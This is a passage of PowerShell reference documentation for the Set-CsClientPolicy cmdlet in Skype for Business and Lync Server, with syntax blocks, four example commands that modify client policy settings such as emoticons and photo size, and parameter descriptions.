[-P2PAppSharingEncryption <P2PAppSharingEncryption>] [-EnableHighPerformanceP2PAppSharing <Boolean>]
[-PlayAbbreviatedDialTone <Boolean>] [-RequireContentPin <String>] [-SearchPrefixFlags <UInt16>]
[-ShowRecentContacts <Boolean>] [-ShowManagePrivacyRelationships <Boolean>]
[-ShowSharepointPhotoEditLink <Boolean>] [-SPSearchInternalURL <String>] [-SPSearchExternalURL <String>]
[-SPSearchCenterInternalURL <String>] [-SPSearchCenterExternalURL <String>] [-TabURL <String>]
[-TracingLevel <TracingLevel>] [-TelemetryTier <String>] [-PublicationBatchDelay <UInt32>]
[-EnableViewBasedSubscriptionMode <Boolean>] [-WebServicePollInterval <TimeSpan>]
[-HelpEnvironment <String>] [-RateMyCallDisplayPercentage <UInt16>]
[-RateMyCallAllowCustomUserFeedback <Boolean>] [-IMLatencySpinnerDelay <UInt32>]
[-IMLatencyErrorThreshold <UInt32>] [-SupportModernFilePicker <Boolean>] [-EnableOnlineFeedback <Boolean>]
[-EnableOnlineFeedbackScreenshots <Boolean>] [-ConferenceIMIdleTimeout <TimeSpan>]
[[-Identity] <XdsIdentity>] [-Force] [-WhatIf] [-Confirm] [<CommonParameters>]
```
### Instance
```
Set-CsClientPolicy [-Tenant <Guid>] [-PolicyEntry <PSListModifier>] [-Description <String>]
[-AddressBookAvailability <AddressBookAvailability>] [-AttendantSafeTransfer <Boolean>]
[-AutoDiscoveryRetryInterval <TimeSpan>] [-BlockConversationFromFederatedContacts <Boolean>]
[-CalendarStatePublicationInterval <UInt32>] [-CustomizedHelpUrl <String>]
[-CustomLinkInErrorMessages <String>] [-CustomStateUrl <String>] [-DGRefreshInterval <TimeSpan>]
[-DisableCalendarPresence <Boolean>] [-DisableContactCardOrganizationTab <Boolean>]
[-DisableEmailComparisonCheck <Boolean>] [-DisableEmoticons <Boolean>]
[-DisableFeedsTab <Boolean>] [-DisableFederatedPromptDisplayName <Boolean>]
[-DisableFreeBusyInfo <Boolean>] [-DisableHandsetOnLockedMachine <Boolean>]
[-DisableMeetingSubjectAndLocation <Boolean>] [-DisableHtmlIm <Boolean>]
[-DisableInkIM <Boolean>] [-DisableOneNote12Integration <Boolean>]
[-DisableOnlineContextualSearch <Boolean>] [-DisablePhonePresence <Boolean>]
[-DisablePICPromptDisplayName <Boolean>] [-DisablePoorDeviceWarnings <Boolean>]
[-DisablePoorNetworkWarnings <Boolean>] [-DisablePresenceNote <Boolean>]
[-DisableRTFIM <Boolean>] [-DisableSavingIM <Boolean>] [-DisplayPhoto <DisplayPhoto>]
[-EnableAppearOffline <Boolean>] [-EnableCallLogAutoArchiving <Boolean>]
[-EnableClientAutoPopulateWithTeam <Boolean>] [-EnableClientMusicOnHold <Boolean>]
[-EnableConversationWindowTabs <Boolean>] [-EnableEnterpriseCustomizedHelp <Boolean>]
[-EnableEventLogging <Boolean>] [-EnableExchangeContactSync <Boolean>]
[-EnableExchangeDelegateSync <Boolean>] [-EnableExchangeContactsFolder <Boolean>]
[-EnableFullScreenVideo <Boolean>] [-EnableHighPerformanceConferencingAppSharing <Boolean>]
[-EnableHotdesking <Boolean>] [-EnableIMAutoArchiving <Boolean>]
[-EnableMediaRedirection <Boolean>] [-EnableMeetingEngagement <Boolean>]
[-EnableNotificationForNewSubscribers <Boolean>] [-EnableServerConversationHistory <Boolean>]
[-EnableSkypeUI <Boolean>] [-EnableSQMData <Boolean>] [-EnableTracing <Boolean>]
[-EnableURL <Boolean>] [-EnableUnencryptedFileTransfer <Boolean>]
[-EnableVOIPCallDefault <Boolean>] [-ExcludedContactFolders <String>] [-HotdeskingTimeout <TimeSpan>]
[-IMWarning <String>] [-MAPIPollInterval <TimeSpan>] [-MaximumDGsAllowedInContactList <UInt32>]
[-MaximumNumberOfContacts <UInt16>] [-MaxPhotoSizeKB <UInt32>] [-MusicOnHoldAudioFile <String>]
[-P2PAppSharingEncryption <P2PAppSharingEncryption>] [-EnableHighPerformanceP2PAppSharing <Boolean>]
[-PlayAbbreviatedDialTone <Boolean>] [-RequireContentPin <String>] [-SearchPrefixFlags <UInt16>]
[-ShowRecentContacts <Boolean>] [-ShowManagePrivacyRelationships <Boolean>]
[-ShowSharepointPhotoEditLink <Boolean>] [-SPSearchInternalURL <String>] [-SPSearchExternalURL <String>]
[-SPSearchCenterInternalURL <String>] [-SPSearchCenterExternalURL <String>] [-TabURL <String>]
[-TracingLevel <TracingLevel>] [-TelemetryTier <String>] [-PublicationBatchDelay <UInt32>]
[-EnableViewBasedSubscriptionMode <Boolean>] [-WebServicePollInterval <TimeSpan>]
[-HelpEnvironment <String>] [-RateMyCallDisplayPercentage <UInt16>]
[-RateMyCallAllowCustomUserFeedback <Boolean>] [-IMLatencySpinnerDelay <UInt32>]
[-IMLatencyErrorThreshold <UInt32>] [-SupportModernFilePicker <Boolean>] [-EnableOnlineFeedback <Boolean>]
[-EnableOnlineFeedbackScreenshots <Boolean>] [-ConferenceIMIdleTimeout <TimeSpan>]
[-Instance <PSObject>] [-Force] [-WhatIf] [-Confirm] [<CommonParameters>]
```
## DESCRIPTION
Client policies are applied each time a user accesses the system, regardless of where the user logs on from and regardless of the type of device the user logs on with.
In addition, client policies, like other Skype for Business Server policies, can readily be targeted toward selected groups of users.
You can even create a custom policy that gets assigned to a single user.
Client policies can be configured at the global, site and per-user scopes.
The `Set-CsClientPolicy` cmdlet enables you to modify any (or all) of the client policies that have been configured for use in your organization.
Keep in mind that client policies differ from many other policies in that most of the policy settings do not have default values. When setting is null/none just means that server in band provisioning does not override default client value. Basically, default values are set by client for these cases.
The following parameters are not applicable to Skype for Business Online: AddressBookAvailability, AttendantSafeTransfer, AutoDiscoveryRetryInterval, BlockConversationFromFederatedContacts, CalendarStatePublicationInterval, ConferenceIMIdleTimeout, CustomizedHelpUrl, CustomLinkInErrorMessages, CustomStateUrl, Description, DGRefreshInterval, DisableContactCardOrganizationTab, DisableFederatedPromptDisplayName, DisableFeedsTab, DisableMeetingSubjectAndLocation, DisableOneNote12Integration, DisableOnlineContextualSearch, DisablePhonePresence, DisablePICPromptDisplayName, EnableEventLogging, EnableExchangeContactsFolder, EnableExchangeDelegateSync, EnableFullScreenVideo, EnableHighPerformanceConferencingAppSharing, EnableHighPerformanceP2PAppSharing, EnableMediaRedirection, EnableMeetingEngagement, EnableNotificationForNewSubscribers, EnableOnlineFeedback, EnableOnlineFeedbackScreenshots, EnableSQMData, EnableTracing, EnableViewBasedSubscriptionMode, EnableVOIPCallDefault, Force, HelpEnvironment, Identity, IMLatencyErrorThreshold, IMLatencySpinnerDelay, Instance, MAPIPollInterval, MaximumDGsAllowedInContactList, MaximumNumberOfContacts, MaxPhotoSizeKB, P2PAppSharingEncryption, PipelineVariable, PolicyEntry, PublicationBatchDelay, RateMyCallAllowCustomUserFeedback, RequireContentPin, SearchPrefixFlags, SPSearchCenterExternalURL, SPSearchCenterInternalURL, SPSearchExternalURL, SPSearchInternalURL, SupportModernFilePicker, TabURL, TelemetryTier, Tenant, and WebServicePollInterval
## EXAMPLES
### -------------------------- Example 1 --------------------------
```
Set-CsClientPolicy -Identity RedmondClientPolicy -WebServicePollInterval "00:15:00"
```
The command shown in Example 1 modifies the client policy RedmondClientPolicy.
In this example, the WebServicePollInterval property is set to 15 minutes (00 hours: 15 minutes: 00 seconds).
### -------------------------- Example 2 --------------------------
```
Set-CsClientPolicy -Identity RedmondClientPolicy -DisableEmoticons $True -DisableHtmlIm $True -DisableRTFIm $True
```
In Example 2, three different property values are modified for the client policy RedmondClientPolicy: the properties DisableEmoticons, DisableHtmlIm, and DisableRTFIm are all set to True.
### -------------------------- Example 3 --------------------------
```
Get-CsClientPolicy -Filter "*site:*" | Set-CsClientPolicy -DisableEmoticons $True -DisableHtmlIm $True -DisableRTFIm $True
```
Example 3 also modifies the properties DisableEmoticons, DisableHtmlIm and DisableRTFIm.
In this example, however, the modifications are made to all the client policies that have been configured at the site scope.
To do this, the command first uses the `Get-CsClientPolicy` cmdlet and the Filter property to return all the client policies where the Identity begins with the characters "site:"; by definition, those are policies configured at the site scope.
This filtered collection is then piped to the `Set-CsClientPolicy` cmdlet, which takes each policy in the collection and modifies the values of DisableEmoticons, DisableHtmlIm and DisableRTFIm.
### -------------------------- Example 4 --------------------------
```
Get-CsClientPolicy | Where-Object {$_.MaxPhotoSizeKb -gt 10} | Set-CsClientPolicy -MaxPhotoSizeKb 10
```
In Example 4, all the client policies that allow for photos larger than 10 kilobytes are modified; after the modifications these policies will have a maximum photo size of 10 KB.
To carry out this task, the `Get-CsClientPolicy` cmdlet is first called without any parameters in order to return a collection of all the client policies configured for use in the organization.
This collection is then piped to the `Where-Object` cmdlet, which picks out only those policies where the MaxPhotoSizeKb property is greater than (-gt) 10 KB.
The filtered collection is then piped to the `Set-CsClientPolicy` cmdlet, which sets the value of the MaxPhotoSizeKb property for each policy in the collection to 10 KB.
## PARAMETERS
### -Identity
Unique identifier assigned to the new policy.
To reference the global policy, use this syntax: `-Identity global`.
To reference a site policy, use the prefix "site:" and the name of the site as your Identity; for example: `-Identity site:Redmond`.
To reference a per-user policy, use syntax similar to this: `-Identity SalesClientPolicy`.
```yaml
Type: XdsIdentity
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: 1
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -Instance
Allows you to pass a reference to an object to the cmdlet rather than set individual parameter values.
```yaml
Type: PSObject
Parameter Sets: Instance
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: True (ByValue)
Accept wildcard characters: False
```
### -AddressBookAvailability
Indicates how users are allowed to access information in the Address Book server (that is, by using the Address Book Web Query service and/or by downloading a copy of the Address Book to their local computer).
AddressBookAvailability must be set to one of the following values:
WebSearchAndFileDownload
WebSearchOnly
FileDownloadOnly
```yaml
Type: AddressBookAvailability
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -AttendantSafeTransfer
When set to True, Skype for Business Attendant operates in "safe transfer" mode; this means that transferred calls that do not reach the intended recipient will reappear in the incoming area along with a "Failed Transfer" notice.
When set to False, transferred calls that fail to reach the intended recipient will not reappear in the incoming area.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -AutoDiscoveryRetryInterval
After a failed connection attempt, specifies the amount of time Skype for Business waits before again trying to connect to Skype for Business Server.
The AutoDiscoveryRetryInterval can be set to value between 1 second and 60 minutes (1 hour), inclusive.
When specifying the AutoDiscoveryRetryInterval you must use the format hours:minutes:seconds.
For example, to set the interval to 25 minutes use this syntax:
`-AutoDiscoveryRetryInterval 00:25:00`
```yaml
Type: TimeSpan
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -BlockConversationFromFederatedContacts
When set to True, contacts from outside your organization will not be allowed to initiate instant message conversations with any user that this policy applies to.
However, outside users will be able to participate in conversations as long the internal user initiates that conversation.
When set to False, outside contacts are allowed to send unsolicited instant messages to users in your organization.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -CalendarStatePublicationInterval
Specifies the amount of time, in seconds, that Skype for Business waits before retrieving calendar information from Outlook and adding this data to your presence information.
For example, to set the CalendarStatePublicationInterval to 10 minutes (600 seconds) use this syntax:
`-CalendarStatePublicationInterval 600`
```yaml
Type: UInt32
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -ConferenceIMIdleTimeout
Indicates the number of minutes that a user can remain in an instant messaging session without either sending or receiving an instant message.
The ConferenceIMIdleTimeout must be less than or equal to 1 hour and must be specified using the format hours:minutes:seconds.
For example, this syntax sets the timeout value to 45 minutes:
`-ConferenceIMIdleTimeout 00:45:00`
```yaml
Type: TimeSpan
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -CustomizedHelpUrl
URL for custom Skype for Business help set up by an organization.
This parameter has been deprecated for use with Skype for Business Server.
Customized help will not be available unless you also set EnableEnterpriseCustomizedHelp to True.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -CustomLinkInErrorMessages
URL for the website that can be added to error messages that appear in Skype for Business.
If a URL is specified, that URL will appear at the bottom of any error message that occurs in Skype for Business.
Users can then click that link and be taken to a custom website that contains additional information, troubleshooting tips, etc.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -CustomStateUrl
Specifies the location of the XML file used to add custom presence states to Skype for Business.
(Skype for Business allows up to four custom presence states in addition to the built-in states such as Available, Busy and Do Not Disturb.) The location of the XML file should be specified using the HTTPS protocol.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -Description
Allows administrators to provide additional information about a policy.
For example, the Description might indicate the users that the policy should be assigned to.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -DGRefreshInterval
Indicates the amount of time Skype for Business waits before automatically refreshing the membership list of any distribution group that has been "expanded" in the Contacts list.
(Expanding a distribution group means displaying all the members in that group.) DGRefreshInterval can be set to any integer value between 30 seconds and 28,800 seconds (8 hours), inclusive.
The default value is 28,800 seconds.
```yaml
Type: TimeSpan
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -DisableCalendarPresence
When set to True, calendar data taken from Outlook will not be included in your presence information.
When set to False, calendar data will be included in your presence information.
For example, free/busy information will be reported in your contact card; likewise, your status will automatically be set to Busy any time Outlook shows that you are in a meeting.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -DisableContactCardOrganizationTab
When set to True, the contact card organization tab is not visible within the Skype for Business user interface.
When set to False, the contact card organization tab is available in Skype for Business.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -DisableEmailComparisonCheck
When set to True, Skype for Business will not attempt to verify that any currently running instance of Outlook belongs to the same user running Skype for Business; for example, the software will not verify that both Outlook and Skype for Business are running under Ken Myer's user account.
Instead, it will be assumed that the two applications are running under the same account and, in turn, will include contact and calendar data in Outlook with Skype for Business.
When set to False, Skype for Business will use SMTP addresses to verify that Outlook and Skype for Business are running under the same account.
If the SMTP addresses do not match then contact and calendar data in Outlook will not be incorporated into Skype for Business.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -DisableEmoticons
When set to True, users will not be able to send or receive emoticons in their instant messages; instead they will be see the text equivalent of those emoticons.
For example, instead of seeing a graphical "smiley face" users will see the text equivalent:
: )
When set to False users will be able to include emoticons in their instant messages and to view emoticons in instant messages they receive.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -DisableFederatedPromptDisplayName
When set to True, any notification dialog generated when you are added to a federated user's Contacts list will use the federated user's SIP address (for example, sip:kenmyer@fabrikam.com).
When set to False, the notification dialog will use the federated user's display name (for example, Ken Myer) instead.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -DisableFeedsTab
When set to True, the activity feeds tab will not be displayed in Skype for Business.
When set to False, the feeds tab will be available within Skype for Business.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -DisableFreeBusyInfo
When set to True, free/busy information retrieved from Microsoft Outlook will not be displayed in your contact card.
When set to False, free/busy information is displayed in your contact card.
For example, your contact card might include a note similar to this:
Calendar: Free until 2:00 PM
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -DisableHandsetOnLockedMachine
When set to True, users will not be able to use their Polycom handset if the computer that the handset is connected to is locked.
To use the handset, users will first have to unlock the computer.
When set to False, users will be allowed to use their handset even if the computer the handset is connected to is locked.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -DisableHtmlIm
When set to True, any HTML text copied from a webpage will be converted to plain text when pasted into an instant message.
When set to False, HTML formatting (such as font size and color, drop-down lists and buttons, etc.) will be retained when pasted into an instant message.
Note that, even when set to False, scripts and other potentially malicious items (such as tags that play a sound) will not be copied into an instant message.
You can copy and paste buttons and other controls into a message, but any scripts attached to those controls will automatically be removed.
This setting is equivalent to the Office Communications Server 2007 R2 Group Policy setting "Prevent HTML text in instant messages."
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -DisableICE
When set to True, Lync 2010 will not use the Interactive Connectivity Establishment (ICE) protocol to traverse firewalls and network address translation (NAT) devices; this effectively prevents users from making Lync 2010 calls across the Internet.
When set to False, Lync 2010 will use the ICE protocol to enable Lync 2010 calls to traverse firewalls and (NAT) devices.
This setting is equivalent to the Office Communications Server 2007 R2 Group Policy setting "Disable Interactive Connectivity Establishment (ICE)."
```yaml
Type: Boolean
Parameter Sets: Identity, Instance
Aliases:
Applicable: Lync Server 2010
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -DisableInkIM
When set to True, users will not be allowed to receive instant messages containing Tablet PC ink.
(Ink is a technology that enables you to insert handwritten notes into a document.) When set to False, users will be allowed to receive messages that contain Table PC ink.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -DisableOneNote12Integration
When set to True, the ability to start OneNote from within Skype for Business (and the ability to automatically link instant message sessions and OneNote notes) is disabled.
When set to False, the option Take Notes Using One Note is enabled in Skype for Business.
In addition, if you locate an instant message transcript in Microsoft Outlook's Conversation History you can retrieve any OneNote notes associated with that conversation just by clicking the Edit conversation notes button.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -DisableOnlineContextualSearch
When set to True, disables the Find Previous Conversations menu option that appears when you right-click a user in your Contacts list.
(This option enables you to search the Outlook Conversation History folder for previous instant messaging sessions involving the user in question.) When set to False, the Find Previous Conversations option will be available when you right-click a user in your Contacts list.
Note that this setting only applies to users who are not running Outlook in cached mode.
That's because any searches conducted by those users must take place on the Exchange Servers and administrators might want to limit the network traffic causes by these searches.
If you are running Outlook in cached mode, searches take place on a user's locally-cached copy of his or her Inbox.
Cached searches are not affected by this setting.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -DisablePhonePresence
When set to True, Skype for Business does not take phone calls into consideration when determining your current status.
When set to False, phone calls are taken into consideration when determining your status.
For example, any time you are on the phone your status will automatically be set to Busy.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -DisablePICPromptDisplayName
When set to True, any notification dialog box generated when you are added to the Contacts list of a user with an account on a public instant messaging service such as MSN will display that person's SIP address (for example, sip:kenmyer@litwareinc.com).
When set to False, the notification dialog box will use the person's display name (for example, Ken Myer) instead.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -DisablePoorDeviceWarnings
When set to True, Skype for Business will not issue warnings (upon startup, in the Tuning Wizard, in the Conversation window, etc.) if an audio or video device is not working correctly.
When set to False, these warnings will be issued.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -DisablePoorNetworkWarnings
When set to True, Skype for Business will not display warnings about poor network quality.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -DisablePresenceNote
When set to True, any Out of Office message you configure in Outlook will not be displayed as part of your presence information.
When set to False, your Out of Office message will be displayed any time a user holds the mouse over your name in their Contacts list.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -DisableRTFIM
When both this setting and the DisableHtmlIm settings are set to True, prevents rich text formatting (for example, different fonts, font sizes and font colors) from being used in instant messages; instead, all messages sent and received will be converted to plain text format.
When set to False, rich text formatting will be allowed in instant messages.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -DisableSavingIM
When set to True, the options for saving an instant message session are removed from the menu bar in the Skype for Business Conversation window.
When set to False, these options are available in the Conversation window.
Note that setting this value to True removes the menu options that make it easy for users to save instant message transcripts.
However, it does not prevent users from copying all the text in a transcript to the clipboard, pasting that text into another application and then saving the transcript that way.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -DisplayPhoto
Determines whether or not photos (of both the user and his or her contacts) will be displayed in Skype for Business.
Valid settings are:
NoPhoto - Photos are not displayed in Skype for Business.
PhotosFromADOnly - Only photos that have been published in Active Directory Domain Services can be displayed.
AllPhotos - Either Active Directory photos or custom photos can be displayed.
The default value is AllPhotos.
```yaml
Type: DisplayPhoto
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -EnableAppearOffline
When set to True an additional presence state -- Appear Offline -- is available in Skype for Business.
This state makes it appear as though the user is offline; however, he or she will actually be online and available to answer phone calls, respond to instant messages, etc.
When set to False, the Appear Offline presence state will not be available in Skype for Business.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -EnableCallLogAutoArchiving
When set to True, information about your incoming and outgoing phone calls is automatically saved to the Conversation History folder in Outlook.
(The actual call itself is not recorded.
What is recorded is information such as who took part in the call; the length of the call and whether this was an incoming or an outgoing call.) When set to False, this information is not saved to Outlook.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -EnableClientMusicOnHold
When set to True, music will be played any time a caller is placed on hold.
When set to False, music will not be played any time a caller is placed on hold.
The default value is False.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -EnableConversationWindowTabs
When set to True, supplemental information related to an instant messaging session will be displayed in a separate browser window.
When set to False, supplemental information will not be displayed in a separate browser window.
This parameter has been deprecated for use with Skype for Business Server.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -EnableEnterpriseCustomizedHelp
When set to True, users who click the Help menu in Skype for Business will be given custom help set up by the organization.
When set to False, users who click the Help menu will be given the default product help.
This parameter has been deprecated for use with Skype for Business Server.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -EnableEventLogging
When set to True, detailed information about Skype for Business will be recorded in the Application event log.
When set to False, only major events (such as the failure to connect to Skype for Business Server) are recorded in the event log.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -EnableExchangeContactSync
When set to True (the default value) Skype for Business creates a corresponding personal contact in Outlook for each person on a user's Skype for Business Contacts list.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -EnableExchangeDelegateSync
When set to True, a user that has been configured in Outlook will be allowed to schedule online Lync Calendar meetings for that user (this happens via Lync UCMAPI delegation, without the need of the Enterprise Voice feature).
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -EnableFullScreenVideo
When set to True, this parameter does two things: 1) enables full-screen video (with the correct aspect ratio) for Skype for Business calls and 2) disables video preview for Skype for Business calls.
When set to False then full-screen video is not available in Skype for Business, but video preview is available.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
